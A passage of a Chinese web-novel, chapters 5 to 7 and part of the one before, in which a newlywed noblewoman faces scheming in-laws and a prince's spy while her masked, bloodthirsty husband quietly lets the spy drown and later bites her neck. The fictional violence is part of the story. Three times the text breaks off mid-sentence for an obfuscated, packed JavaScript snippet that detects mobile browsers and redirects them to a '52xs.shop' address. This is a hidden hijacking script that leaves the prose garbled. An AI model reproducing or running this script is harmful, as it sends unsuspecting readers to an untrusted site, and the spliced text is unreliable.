“是啊。”暮云也听了个一知半解,“听说是昨晚吃醉酒,出府就不见了。许是醉在了路上。” 鹿微眠了然地点了点头,她记得是有这么一回事。 但因为皇帝重视司天台,彻查了一番,最终给出的解释是因为天师泄露天机,所以受到了天惩。 听起来很离奇,但皇帝信也就另说。 鹿微眠没在意,今日是新婚第一日,依规矩需要去拜见封行渊家里的亲族长辈。 封府二夫人的丫鬟已经在外面候着了。 这封府分大房和二房两家,二房封贺掌家,在朝堂上是一个四品的国子司业。 官职不高不低,但跟她父亲一品司空比还是差了一大截。 封行渊父母早亡,托孤至此,他叔伯婶婶一直觉得他是个累赘,吞掉了他父母的余财,想尽办法把他赶走。 恰逢太子病弱,看遍了四海名医都不见好转,还是司天台的人指了个偏方—— 寻一位身强体健的同龄随侍做太子的药人。 他们就这样拿封行渊换了黄金百两。 太子一直跟她说,虽然旁人都把封轸当他的奴才,但他一直很感谢他,他们情同手足,封轸什么都听他的。 所以,他多知道一点封轸的事情,也无伤大雅。 当时鹿微眠并不懂什么是药人,还真觉得他们关系融洽。 还是封行渊死后,她才知道,所谓药人,是要定期以活人试药。 用他的身体养药,养成之后,以药人心头血为药引,隔七日放一次血。 怎么可能融洽。 药人没有被当做人。 是可以为权贵承受任何痛苦代价的牺牲品。 就这样,从五岁到十五岁,封行渊被喂了各种各样的药物整整十年。 太子痊愈后,就将他送到了边关,说是等他凯旋归来,给他加官进爵。 那时候,封行渊没有从武经历。 太子把他送去边关,就是想让他死。 鹿微眠垂眸放下手里的青黛,“差不多了,我们去前院吧。” 二夫人的婢女见她出来,笑盈盈上前,“张天师昨日婚宴后失踪,四少爷今早前去司天台了,辛苦少夫人独自去敬茶。” “无妨,”鹿微眠走出房门,声音轻轻软软的,“他有事先忙就好。” 鹿微眠跟着婢女去了厅堂。 意料之外的,封府厅堂内空无一人。 婢女先是惊讶了一番,而后连忙道歉,“许是我们夫人没想到您这般勤勉,还在梳洗。您稍等一下,奴婢去问问。” 鹿微眠了然。 前世她压根没来敬茶,人家肯定也不可能早早的来等她。 只是这次她既然打算好好在封府度日,那这里的人她总要接触一下。 如今在这里等一会儿也没什么。 鹿微眠双手轻轻交握,端得是大家千金的礼仪规矩,安安静静地等着。 一刻钟又一刻钟地过去。 鹿微眠站得双脚发酸。 饶是迟钝的暮雨也察觉到些不对劲,去寻人催促。 可这厅堂里外,一时间竟然一个下人也没有。 暮雨也不敢把鹿微眠独自留在厅堂里,“这是什么意思?” 鹿微眠深吸一口气,轻轻活动了下双脚,“还能什么意思,人家给我这个新妇下马威呢。” 暮雨不满道,“什么人家啊,还敢给咱们下马威,夫人我们一起去找他们。” 暮雨正要拉着鹿微眠去找人。 后院边传来说笑声,“哎呀,久等久等。” 后院内乌泱泱地进来一片,遥遥地看着不远处的纤细娇俏身影站在房内。 她一支红珊瑚凤凰步摇坠在一侧,略施粉黛,大抵是为了配合封府门第,只是带了两个珍珠耳坠,并无太多装饰。 但举手投足都是大户人家娇养出来的端庄温雅,眉眼灵气如麋鹿。 看得出来她被家里养得很好,圆脸鹿眸,受了寒凉就透出几分红润,得像是一只草莓馅的糯米圆子。 近乎一进屋,就不由自主地被她吸引去。 封二少爷脚步一顿,愣愣地看着屋内人。 封二夫人看着儿子这般没出息的模样,暗中拍了他一下。 封贺笑呵呵地打招呼,道歉,“我们没想到你会来敬茶,所以赶忙将家里人都叫来招呼了。” 鹿微眠不好反驳什么,只能行见礼打招呼。 封贺作为家主,说着些无关痛痒的场面话,始终忽视着还站在厅堂里的鹿微眠。 时不时提醒着,“既然嫁进我们封家了那便是我们封府的人。” “不过瞧着到底是鹿司空家的千金,这礼仪规矩,敬重长辈的确是不输旁人,也不需要我们提醒,便能做得很好。” 鹿微眠听这话便知道他在拿自己摆谱。 鹿微眠深吸一口气,端着笑脸,“二叔过奖了,到底是陛下指婚,说是这婚事利国运,我也愿意为国事牺牲,不过好在封府叔叔婶婶瞧着都是良善人。” “正巧明日,我还要进宫复命,到时叔叔婶婶如何待我,我也会与陛下禀明。” 封贺瞬间噤声。 屋内人面面相觑,到没想到她看起来软绵绵的,还会这般拿乔。 二夫人罗氏笑着打圆场,“这门婚事也是我们占了便宜,日后我们一家人相互照应都是应该的。” “你既明日还要入宫,那今日早些回去休息吧。” 封贺笨拙地搓了搓座椅扶手,接过话来转圜,“过几日回门需要备什么,尽管跟家里提。” 不多时,鹿微眠从厅堂内出来,简单理了下衣袖。 暮雨不太服气方才封贺的态度,“数不着血脉的叔伯,还想摆谱。” 鹿微眠示意暮雨小点声,别被人家家里人听见。 果不其然走到后院湖边,她们身后传来脚步声,隔了一段距离远远唤了一声,“少夫人留步。” 鹿微眠停下,回头看过去。 来人眼生,身着青灰色的小厮衣装,身形矮胖,脸上挂着谄媚的笑。 他叫住鹿微眠后,小心翼翼地环顾四周,确定没人后才小步跑上前。 鹿微眠看着他的打扮,约么是府里的三等侍卫。 大概是少爷或姑娘身边的外院小厮,难怪刚刚房内没有看见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639700|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小厮走上前行礼,“奴才见过夫人。” 鹿微眠问,“你是哪位主子身边的,可有要事?” 小厮故作神秘地笑了,拱手道,“实不相瞒,奴才是宫中那位主子身边的,特来接应夫人。” 鹿微眠无声轻笑,“我没什么好接应的,告诉你们主子,大可不必在我身边处处留眼线。” 她说着转身离开。 小厮跟上鹿微眠,“夫人身边多少需要个照应,殿下也是担心。” 暮云暮雨听着这是太子派来的人,一时间也不知道该不该拦。 “那封轸是贱奴出身,粗俗肮脏,如何能成为您的夫婿。有奴才帮衬着,您也好尽快脱离苦海。” 鹿微眠停下来,“是他这么说的吗?” “啊?”小厮反应了一下,“还用得着殿下亲自说,封轸什么样子,宫里都知道。” 鹿微眠深吸一口气。 她还记得五岁的时候,母亲去宫里陪皇后娘娘聊天,她跟五公主在长春宫花园放风筝。 她的风筝线断了,去假山上捡风筝的时候,就听见有人在吵闹。 “好好的遮着眼睛做什么!是不是你的鬼眼不能被人看见!” “他就是个怪物,摘了他的面具,打他!” 鹿微眠听见了些不堪入耳的拳脚声。 她很害怕,又不敢自己过去,就在院子里大喊了一声,“公主姐姐!” 假山里叫着“有人来了”,四散逃离。 鹿微眠在山洞石窟里,撞见了一个浑身是血的小男孩。 他就那样蹲在山洞石窟里,擦身上的血,像是一只受伤无处可去的小狗。 原本应该遮住他左眼的一角面具,掉在地上,沾满血污和灰尘。 鹿微眠闯入是个意外。 他警惕抬头间,鹿微眠看见了他的左眼,也看见了他眼睛里那颗红痣。 那颗红痣这会儿显得狠厉血腥。 但鹿微眠的风筝挂在了他头顶的石窟上。 她颤着声解释,“别害怕,我是来捡风筝的。” 男孩顺着她的示意,看到了头顶石窟挂着的蝴蝶风筝。 他没理她,自顾自的捡起了手边的面具,擦掉上面的泥土和血迹。 鹿微眠屏气凝神,费劲巴力地够到风筝边,拿了下来。 她在原地站了一会儿,还是从自己的小荷包里拿出来了一个金创药,小心翼翼地蹲下放在他面前就跑了。 鹿微眠本就不喜欢鬼神之说,更不觉得长相是能攻击别人的原因。 他不该被这样对待。 那是她第一次见到封行渊。 小厮的话将鹿微眠的思绪拉回,“他一条贱命,也就是殿下宅心仁厚,才留他到如今富贵。您只身在这里,殿下必然是不放心的。” “您也不必急着回奴才,奴才只是在您需要的时候,替殿下帮衬着您。奴才现在在二少爷府里伺候,随叫随到。” 拐角,一身水墨暗纹锦衣的少年刚巧回院,不动声色地听着院内的对话,好整以暇地盘算着这么快就让他抓住了她的小尾巴,实在是有些无趣。 他还想将她养胖一些,还能让他的小鱼儿多咬两口。 接着院内传来鹿微眠那温和嗓音,“那看来你们少爷教导不严,纵容你一心侍二主,吃里扒外,胆敢对主家如此不敬。” “暮雨,掌嘴五十。罚完送到二叔那,赶出府找你的太子主子。” 封行渊脚步微停。 5. 第5章 鹿微眠吩咐完径直离开。 那小厮目露诧异,“夫人!” 他往前追了几步,被暮雨伸手拦下,“得罪了。” 小厮难以理解,“我是太子身边的人,你,你们敢对我动手,真不怕日后失了太子这个靠山。” 院内响起清脆的巴掌声! 小厮瞬间噤声。 暮雨行事也算是干净利落。 她方才就憋着一肚子气,正好来了个封府前院的人出气,偏生他还是太子手下的。 这些时日看姑娘哭着焦心,太子但凡有点担当,也不至于连喜欢的人都护不住。 她也忍了许久,只是碍于鹿微眠一心向着太子,才不敢说什么。 前院那群人一巴掌,太子更是两巴掌。 暮雨掌嘴过后,将人拖起,去前院找封贺复命。 小厮双颊红肿,捂着脸跟在后面,不死心地追问,“你们此番是想与太子殿下翻脸吗?” “你们可想过后果?!” “我告诉你们,我出去就告诉殿下,你们鹿家还有鹿微眠不识好歹,意图背叛太子,等日后太子将你们视作弃子,沦落到什么下场都是你们咎由自取!” 小厮作势要走,暮雨也不拦他,径直往前走。 小厮气哼哼地调转方向,正想着如何编排她们能让她们下场更惨一些,不成想绕过树林一转头,径直撞上了拿着匕首把玩的封行渊。 他吓了一跳,踉跄一步,忽然后脚踩空,一下子跌进了湖中! 小厮挣扎着,还未等发出声音,就被蜂拥而上的鱼群吞没。 封行渊踱步看了一眼浮出血丝的湖面,像是碰巧来赏景的过路客,观赏了一番群鱼争食的乐趣,又将视线转到鹿微眠离开的方向。 其实当年鹿微眠在假山里撞见封行渊,可怜他在宫里要受小太监欺凌,浑身是血。 但如果再往前一步,她就能看见,山洞里藏着跑慢了一步的小太监尸身。 那个状似可怜的小男孩,身上全是别人的血。 封府又有人失踪了。 鹿微眠得到消息的时候,暮雨刚回房不久。 说是封贺满府找那个小厮,却怎么也没找到,大门也没见有人出去。 像是人间蒸发了一般。 一天之内,接连失踪两人。 实在是有些巧合。 鹿微眠莫名心下不安,但她一时间也没有头绪。 她明明记得,封府是最安全的地方。 鹿微眠放下笔问道,“姑爷在哪?” “听说刚回房。” 鹿微眠提起裙摆,绕过书桌,“那我去看看。” 他们的房间分隔在两个小院子里,按理说鹿微眠这间是正经的寝居院,当前封行渊住的只是个书房。 鹿微眠站在门口犹豫了一下,还是敲响了房门。 片刻后,她听见一声虚弱的,“谁”。 鹿微眠磕磕绊绊地回话,“我。” 虽是两世夫妻,说实话,其实她现在跟封行渊还不太熟。 他声线温沉,“进来吧。” 鹿微眠深吸一口气进门,屋内浅淡的药香混合着茶香,而封行渊一身素衣靠坐在床头。 他衣襟松散,正在合拢衣衫。 鹿微眠一顿,转过头,“抱歉,我不知道你在换药。” 封行渊觉得有意思,“我让你进来的,谈何抱歉。” “夫人可比昨夜抢着喝合欢酒要拘谨得多。” 鹿微眠哑然,脸颊瞬间涨红,“那我,真的不知道。” 封行渊不在意她是否真的知道。 那封信已经把她的心意表露得非常清楚。 “有事找我?” 鹿微眠想起正事,转头看他已经穿好了衣物,才走过去,“是有些事情。” 她局促地坐在旁边的软凳上。 大概是日头高悬,日光明亮,鹿微眠的角度刚好能看到他浅薄衣衫下,束缚腰腹的绷带,以及起伏的肌肉线条。 鹿微眠没看过这些,不太自在地偏开头,“你的伤,严重吗?” “还好。” 鹿微眠斟酌着自己该怎么开口,手指缠着自己的束腰丝缎,有点紧张,“是这样的,今早我去拜见叔伯婶婶,回来的路上碰见了一个下人,自称是太子亲随,在府中潜伏着接应我。” 封行渊喝茶的动作一顿,大抵是没想到鹿微眠会这么直接地把这件事说出来,“嗯?” “我之前是与太子有过一段……很浅薄的感情。但如今事情已经过去了。”鹿微眠手指缠丝缎缠得更紧了,“我就告知了二叔,想打发了他,但现在人失踪了。” 封行渊放下茶盏,看起来并不在意,“许是他寻了个密道,出去跟太子告状了也未可知。” 鹿微眠说出自己的担忧,“我主要是怕给府里带来麻烦。” 封行渊平静道,“有麻烦,也是我的麻烦,不会找到你。” 鹿微眠脱口而出,“你的麻烦不就是我的麻烦吗?” 封行渊微顿,片刻后无声轻笑了下。 他抬起头隔了一段距离看她,看起来很好说话的样子,但面具遮起来的异瞳满是凶险气息,“其实,夫人若是需要,原本可以把他留在府里,方便你与太子来往。” 鹿微眠凝眉,“你……认真的吗。” “太子不是什么好人,你应当比我清楚,他安插眼线进府,不一定安了什么贼心。” 封行渊慢声接过话来,“目前看起来,也是为了你。” 鹿微眠垂眸,“为了我还是为了他的野心,都很难说。” “罢了,若是真找过来,你就说是我把人赶走了。”鹿微眠起身,“还有,明日叫我一起入宫复命。” “复命只需要我自己去即可,怎么突然想跟我一起去?” 鹿微眠舔了下唇角,“我今天在大家面前说出去了,那我得去呀。” 封行渊听笑了,“这么简单?” “不简单,”鹿微眠顺便告了个状,带了点不满的情绪,“你二叔婶婶故意给我下马威,让我站规矩,我吓唬了他们我会在御前说他们,我明日不去,他们还觉得能拿捏我。” 封行渊戏谑道,“难为你还给他们好脸色。” “做做样子还是要的。”鹿微眠说完,离开了他的屋子。 红衣衬她,像一只娉婷俏丽的红蝴蝶。 封行渊看着她离开,回想着她方才说过的话,手指轻轻点动着木榻床架。 入宫复命是寅时,天还未亮。 封行渊在成婚前早就打探过鹿微眠的生活习惯。 早的时候,上午巳时起,晚的时候能睡到午时。 因而封行渊根本没有把鹿微眠说要跟他一起入宫复命的话放在心上。 清早收拾好坐进马车,刚要命人启程,忽然马车前端摇晃了一下。 接着探进来一个莓酱橙色的影子,轻快地坐在了他身边。 鹿微眠理了下自己被风吹乱的鬓发,吩咐道,“启程吧。” 封行渊疑惑地看着身边突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639701|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然出现的少女。 鹿微眠自顾自的说着,“还好我早出来些,不然你就走了。” 封行渊扬眉,“夫人晨起这么早,不困吗?” 鹿微眠理所当然道,“不困啊。” 一刻钟后,封行渊肩膀忽然一沉。 封行渊:“……” 他深吸一口气,抬起身边人的脑袋,缓慢地推到了旁边。 而后轻拍了拍肩膀上并不存在的灰尘,安静地闭目养神。 马车颠簸,鹿微眠脑袋轻撞了下马车车壁,她迷迷糊糊地睁开眼睛。 她听见马车外传来市井摆摊的声音,正欲再度闭眼时,忽然间想起什么被惊醒! 鹿微眠慢慢撑起身,环顾四周看见封行渊也在补眠。 她掀开车帘,询问车夫,“到哪了?” “回夫人,到庆安早市了。” 鹿微眠心脏提到了嗓子眼,“这里百姓多,别再冲撞了人,我们拐一下前面那个小巷走。” 其实今早她一定要跟封行渊一同入宫的原因,根本不是昨日跟封府的人放出了话。 还有一个很重要的原因,是这条路上会出事。 说来也怪她,是她出嫁前一直在家哭。 她弟弟总以为阿姐嫁给这个人受委屈,孩子又是十二三岁狗都嫌的年纪,自己拿了主意。 他知道封行渊今日入宫复命,收买了一个摊贩大伯,在这条路上装作被封行渊的车撞翻,弄脏了封行渊的朝服和马车。 他以为一个小小的把戏,能帮阿姐出气。 但那天封行渊衣饰脏污,复命也迟了。 朝服脏污面圣是殿前失仪,听说被太子党羽好一顿编排和嘲弄。 他不知道鹿微眠那天看见封行渊穿着脏衣服回来,连百姓都在指点非议他时有多愧疚。 她不愿意嫁归不愿意,但他也是无辜要娶。 车夫大约是觉得鹿微眠说得有道理,勒住缰绳调转方向进了旁边的小巷子。 鹿微眠不知道当时的情况,也不知道是不是离开了那条街就没事了。 她手指轻攥裙摆,紧张了一路,直到他们拐出小巷时,马车忽然颠簸一下,接着传来一阵碰撞声! 鹿微眠心里咯噔一下,想也没想忽然扑到了封行渊身前,护住他的朝服! 封行渊身形僵住,只感觉鹿微眠身上茉莉花香极具侵略性,将他严丝合缝地笼罩住。 她发间垂落步摇摇晃着勾住了他的碎发,轻轻震荡。 封行渊入目所及,就是少女白皙脖颈和颈间血络。 这是一个人身上最为脆弱且致命的部位。 看起来很好咬。 少年身体里不安分的屠戮嗜血情愫,极轻的躁动着。 他见血会兴奋。 无所察觉的鹿微眠闭了闭眼睛,等了好久都没等到有东西泼到她身上。 凌一正好掀开车帘禀报,看到这一幕,“唰”地一下将车帘放下,“刚刚马车踩到了一块地坑,主子夫人小心些。” 鹿微眠:“……” 她有点尴尬,但是不敢相信自己能这么尴尬。 鹿微眠不死心地问,“路,路上没事吗?我刚刚听着什么东西撞上来了。” “没撞到咱们,撞到了咱们后面的车。” 鹿微眠还坐在封行渊腿上,能感觉到身下他的朝服冰凉坚硬。 她觉得现在的姿势,还不如撞上来了。 耳侧忽而响起少年好整以暇的声音,“夫人看起来,早就知道这会出事。” 6. 第6章 “我不知道啊。”鹿微眠不安地扶着他的肩膀,慢吞吞地从他身上爬下来。 “我是太害怕了,刚刚吓死我了。” 封行渊并不言语,眉眼间别有深意,但唇角噙着一抹似有若无的笑,静静地看她。 鹿微眠欲盖弥彰地补了一句,“我胆子比较小,还好有你在。” 一室之内,微妙的氛围悄无声息扩散开,夹杂着不易察觉的危险气。 鹿微眠实在是坐不住了,想起要紧事,先开车帘询问,“撞到的是谁家的车啊?” 凌一探查一番回禀,“褚御医。” 鹿微眠微惊,“褚裕哥哥!” 她连忙拢起裙摆,下车。 封行渊敛起笑,看着她慌慌张张地下去。 车外传来鹿微眠的吩咐声,“我去看看他们,你们先进宫别迟了,我晚些就到。” 凌一掀开车帘询问封行渊的意见。 封行渊闲散道,“夫人都吩咐过了,还问我做什么。” 鹿微眠心想,他好乖。 但这会儿也顾不得她的乖乖夫君了。 鹿微眠转头往回走,叫暮云送信儿回司空府。 其实不论撞到的是谁,既然事情是因她而起,她应该负责。 早市街上发生冲撞的地方一片人仰马翻,最为惨烈的当属正中间那辆马车。 车帘连带着里面的地毯都没能幸免。 褚裕已经从马车内出来,站在旁边想着对策。 他看见鹿微眠过来,还有些意外,“阿眠?你怎么在这?” 鹿微眠看见他披风上沾了些许汤汤水水,“我今日入宫复命谢恩,恰好在这……你还好吗?” “不妨事,”褚裕看了看披风上的污渍,“正好今日天冷,我多穿了一件披风,里面的朝服没受影响。” 鹿微眠过意不去,“你稍等一会儿,我家不远,我叫他们帮你备一辆新车。” 褚裕连连摆手,“不用不用。” “就当是我还你人情了,小时候生病总麻烦你和褚姐姐。”鹿微眠看了看他的车,“何况这样,也会耽误你入宫。” 褚裕笑道,“你我间何须如此客气。” 他停顿了下,“你前日大婚之喜,我在宫中给贵妃看诊,没有贺你新婚之喜。” “无妨,我那日也没见宾客。” 褚裕看她,“还好吗?” 鹿微眠弯起眼睛,“我挺好的。” 褚裕点头,踟蹰片刻,大抵是觉得应该让鹿微眠知道,“这几日……殿下病了。” 鹿微眠脸上的笑容变得僵硬,轻巧地转移了话题,“那最近太医院一定很忙,你也要注意休息。” 褚裕听她的话锋,知道鹿微眠不想提其他事,“瞧我,光顾着说正事了……” 褚裕叫旁边随侍拿出来一个罐子,“最近我们家的梅子腌好了,我阿姐记得你爱吃,做了一些酸梅茶,叫我带给你。” “我想我跟封都尉不熟悉,便想今日交给令尊,等你明日回门时就能拿到了。” “难为你们竟还想着,”鹿微眠捧过罐子,“替我谢过姐姐。” 说话间,鹿府的马车赶来。 暮云顺带着拿了府里新做的披风给褚裕,马车也算是送他们的。 仲秋清晨,重华殿内红墙金瓦上满是湿漉漉的雾气水珠。 连空气都浸染得潮湿。 窗前枯黄树影落在纸张上,随后被苍劲的字迹覆盖。 执笔之人银冠束发,颀长玉立,一身暗色云衫蟒纹,眉目深邃硬朗。 慕青辞的随侍太监姜崇快步从门外进来,迟疑着禀报,“殿下,封行渊入宫复命了。” 慕青辞没吭声。 姜崇小心翼翼抬头,偷看了他一眼,又道,“鹿姑娘……也入宫了。” 慕青辞手中的笔一顿,在纸张上洇出一团墨迹。 “阿眠,她来了?” “是。” 慕青辞剑眉轻蹙,将笔放在旁边,“她本不需要复命,特地前来,许是想见我。” 慕青辞绕过书案,却因动作过大,扯到了什么地方,让他身形不稳,轻“嘶”一声撑在桌案上。 腰间的香囊跟着掉在了地上。 小太监立马上前,“殿下可是碰到伤口了?” 慕青辞没回话,弯身捡起地上的香囊,弯身的动作加剧了身上的疼痛。 他只小心翼翼擦干净上面的灰尘,“我得去见她。” 姜崇拿上慕青辞的外衣追了两步,追上他,“殿下!” 姜崇将外衣披在慕青辞的身上,“您后背伤口还渗着血,得挡一挡。” 慕青辞闻言顿住将外衣穿上,才赶去宣政殿。 他站在宣政殿外,远远看见那个明丽少女挽上发髻,一身莓酱橙百花裙坐在那里。 一如初见时,她在花丛中扑蝴蝶,而他只敢远远地看着她,还不知道自己能不能活过明天。 唯独碍眼的是,她身边坐着的不是他,而是另一个男人。 殿内皇帝皇后坐于高位,皇帝显得很是高兴,细问着他们成婚事宜。 相比于封行渊,鹿微眠看起来更擅长应付这样的场合。 直到掌事太监进来通传,“陛下,太子殿下来了。” 屋内人近乎同时脸色发生了微妙的变化。 皇帝皱眉,稍显不悦,“他怎么来了?” 慕青辞和鹿微眠的事情闹得满城风雨、人尽皆知。 听说当时陛下震怒。 鹿微眠立马给所有人都找了个台阶,起身回话,“既然陛下还有政务相商,那我们便不打扰陛下和娘娘了。” 鹿微眠转身看封行渊,发现他就那样坐在那里,平静的与她对视,观察她的反应。 鹿微眠见他不走,硬着头皮上前一步,拉起他放在旁边的手,“你是还有事与陛下娘娘聊吗?” 她说着,挠了下他的掌心。 慕青辞进门,恰好看到这一幕。 封行渊掌心传来一阵细痒。 他垂眸,看了一会儿挂在他手上的葱白指尖,也顺势起身,简单一句,“微臣告退。” 慕青辞停住脚步。 鹿微眠甚至没给他一个眼神,便与他擦肩而过。 直到他们走远,皇帝才沉声道,“朕没宣你前来。” 慕青辞抬眼迎上皇帝的视线,“怎么,又是天象指儿臣不宜与父皇议政了吗?” 皇后闻言紧张起来,“议政就议政,怎么与你父皇说话呢。” 慕青辞行礼,“儿臣知错。” 慕青辞不痛不痒地敷衍了皇帝几句,踏出大殿时,屋外冷风贯入。 慕青辞没有动,只是看着他们离开的方向。 缓久,极轻地出声,“封轸,怎么就没死呢。” 姜崇上前,顺着慕青辞的方向看过去,这会儿早就没有了他们的影子。 他躬着身子,“殿下,派遣到封府的小厮,鹿姑娘似乎不满意,眼下人不见了,许是……没了。” 慕青辞眉眼微动,声音微哑,“倘若她不喜欢,便是杀了又如何。” “只要她能消气,杀一百个,一千个都无妨。” “只怕,这人不是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639702|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀的。”慕青辞了解她。 鹿微眠单纯良善,不会随意杀人。 不会跟他一样,满腹心机,还要在世人装得清风霁月,坦荡正直。 但封府,有一个跟他一样,满手鲜血的人。 而那个人,更加阴湿下作、冷血无情。 鹿微眠和封轸在一起,无异于羊入虎口。 慕青辞眸色沉下去,“司天台到底是受谁指使促成这门婚事,查到了吗?” 姜崇弯身回避慕青辞的视线,“掌管此事的张天师在大婚礼成当晚也是离奇失踪……奴才以为这罪魁祸首是急于灭口。” 在封府的罪魁祸首,显而易见。 姜崇意有所指,“毕竟,那封轸一直视您为死敌,偏生赶在您与鹿姑娘好事将近回来,夺人所爱也不是没有可能。” “此番得手,不定在背后如何折磨鹿姑娘。” 慕青辞垂在身侧的手缓缓攥紧。 * 宫外,鹿微眠跟封行渊一并坐在马车里。 封行渊瞥见了马车里突然多出来的一个小罐子,“这是……” 鹿微眠简单回道,“这是今早褚裕哥哥拿给我的酸梅茶。” 封行渊轻念着这个名字,“他人还挺好的。夫人撞了他的车,他还送你礼物。” 鹿微眠笑眯眯道,“是啊,褚家姐弟人都特别……” 鹿微眠说到一半,忽然顿住。 抬头撞见封行渊饶有兴致地看她。 “不,不是我撞的车。”鹿微眠后知后觉的否认,然后故作淡定的打开罐子,“今早也不知道那摊贩怎么滑了脚,撞上的。” “我瞧着正好是熟人,总不能坐视不理。” “褚家姐弟是我自小的玩伴。你不知道,我儿时体弱生病,全依仗他们家。” 鹿微眠不擅长撒谎,这会儿自己都感觉自己话多得心虚,她低着头想哭,“好吧,对不起,是我。” 封行渊打量着头埋得像鹌鹑一样的小姑娘。 她手里抱着罐子,双腿并拢,板板正正的坐着,像是一个犯了错的小孩。 露出的侧颈又浮现出羊脂玉般莹白的光泽,和清晰的血络。 血脉跳动间,是她气息和鲜活生命的象征。 只要他咬一口,用些力气,兴许他们就不会再跳动。 越这么想,他身体里那股隐隐的兴奋就越是按捺不住。 封行渊盯着她的脖子看了很久。 直到鹿微眠又抬起头,沾了委屈和愧疚的声音拖长,听起来像是在撒娇,“其实也不是我,是我弟弟。” “但也,也算是我管教不严。” 她觉得自己也不能这样推卸责任。 沉默间,鹿微眠吭吭哧哧地一会儿解释一句,“我已经很努力的,不让他得逞了。” 封行渊垂眸,少年白净的脸上浮现出一丝落寞,“幼弟似乎很讨厌我。” “没有。”鹿微眠不想让他多想,“他只是不了解你。” 她扯住他的袖子,“你,别难过。” 他话语间带着循循善诱的意味,“你讨厌我吗?” 但鹿微眠听起来他就是个委屈小狗,“不讨厌啊。” “可我的确不是什么好人,做什么都不被人接受。” “你别这么说,你是个好人,你做什么我都能接受。”鹿微眠想,她这个乖乖夫君,还能有太子和那个欺负她的叛军头子做的事情恶劣。 “那,”少年盯住了她脆弱的脖颈,看起来仍然无比落寞,但隐藏在面具下的血色异瞳兴奋地闪烁着,“我咬你一口也可以吗?” 7. 第7章 鹿微眠茫然地看着他,鬼使神差地答应了他这个古怪的要求。 只是……“咬哪里啊?” 狭小封闭的马车内,那异样的危险气息再次氤氲开。 封行渊看着眼前少女,她的目光像是一只迷路的小兽,完全不知道自己即将面临的是什么。 少年心情愉悦,轻弯了弯唇角,深邃黑瞳一瞬不瞬地盯着她,伸手碰到了她的耳侧。 鹿微眠忽而升起些熟悉的触感。 冰凉手指犹如毒蛇,顺着她耳侧一点点攀爬绕后,穿过她的鬓发扣住她的后颈。 像是无形的锁链,将人桎梏在自己掌心。 少年探身过来,也一并将人往自己面前带了下。 他鼻息间的温热吐息烫得鹿微眠心口发麻,她双手本能的抵住他的肩膀。 “别怕。” 封行渊声音极轻,视线已经盯住了她的颈间。 白皙洁净、干净得仿佛不染一丝纤尘,筋脉乖乖的跳动着。 撒了谎、做错了事,受到惩罚被咬断脖子,不是一件理所当然的事吗? 鹿微眠慢慢陷入未知的恐惧中,“封……” 未等她完整地叫出他的名字,颈间突然传来尖锐的痛感。 鹿微眠没想到他是真咬她,脖颈扬起一个漂亮的弧度,喉间发出极细的轻哼,手指剐蹭着身前人的衣襟想推开他。 掌心猎物细微的挣扎只能无休止地放大猛兽的欺凌-欲。 鹿微眠后颈被死死地扣住,动弹不得。 颈间被缓慢地研磨、啃噬,不知何时多了几分酸麻。 少年吐息就在颈侧,与他鬓间碎发一并摩挲着她。 她被动地仰着头,身体也被磨得发酸。 马车在封府后院门口停下,凌一向车内禀报许久都没有听见回应,碍于今早的经验,他聪明地没有主动上手去掀帘子。 果然半刻钟后,车内的两人才下来。 是他主子先下得车,清俊面容上带着似有若无的得逞。 下车后,还体贴地伸手接里面的人下车。 凭借凌一对他们主子的了解。 这种示好的行为统一可以用“黄鼠狼给鸡拜年”这种俗语简单解释。 紧接着车上就下来了一个红着眼睛的小姑娘,像是受了莫大的委屈。 她的衣襟与刚上车相比要松散凌乱了些,领口还有没遮住的暗痕。 鹿微眠看着伸到自己面前的手,第一次没了接的想法。 但这么高,她自己又下不去。 她只能硬着头皮扶住他的手臂下车。 走动间,能看到她颈肩上显露出一圈暗色血印,距离她的筋脉不过一寸。 他们下来就没有再说话。 只有鹿微眠进院前叫住他,提醒一句,“别忘了明早要回门。” 说完,她也没有等封行渊回话,直接进了屋子。 封行渊被晾了一下,但仍然心情不错。 院子里洒扫的徐桦察觉到异常,竖起耳朵正要仔细听,但可惜什么多余的话都没有听到。 她起身去问暮云,“咱们夫人这是跟姑爷吵架了?” 暮云摇头,“这我也不知道。” 鹿微眠进屋就关好门,坐在镜子前拉开自己的领口。 鹿微眠脸皮薄,这样的痕迹她也不好让暮云她们进来帮她处理。 好像他们入宫这么短的路上做了什么一样。 鹿微眠拿出药膏,点涂在痕迹上,也没破皮,但还是一碰就疼。 她就知道,她弟弟找人撞他车的事情被他知道,怎么可能就轻易揭过去。 怎么还咬人啊,跟狗一样。 鹿微眠盘算着日后他招惹她,她也得咬回去才成。 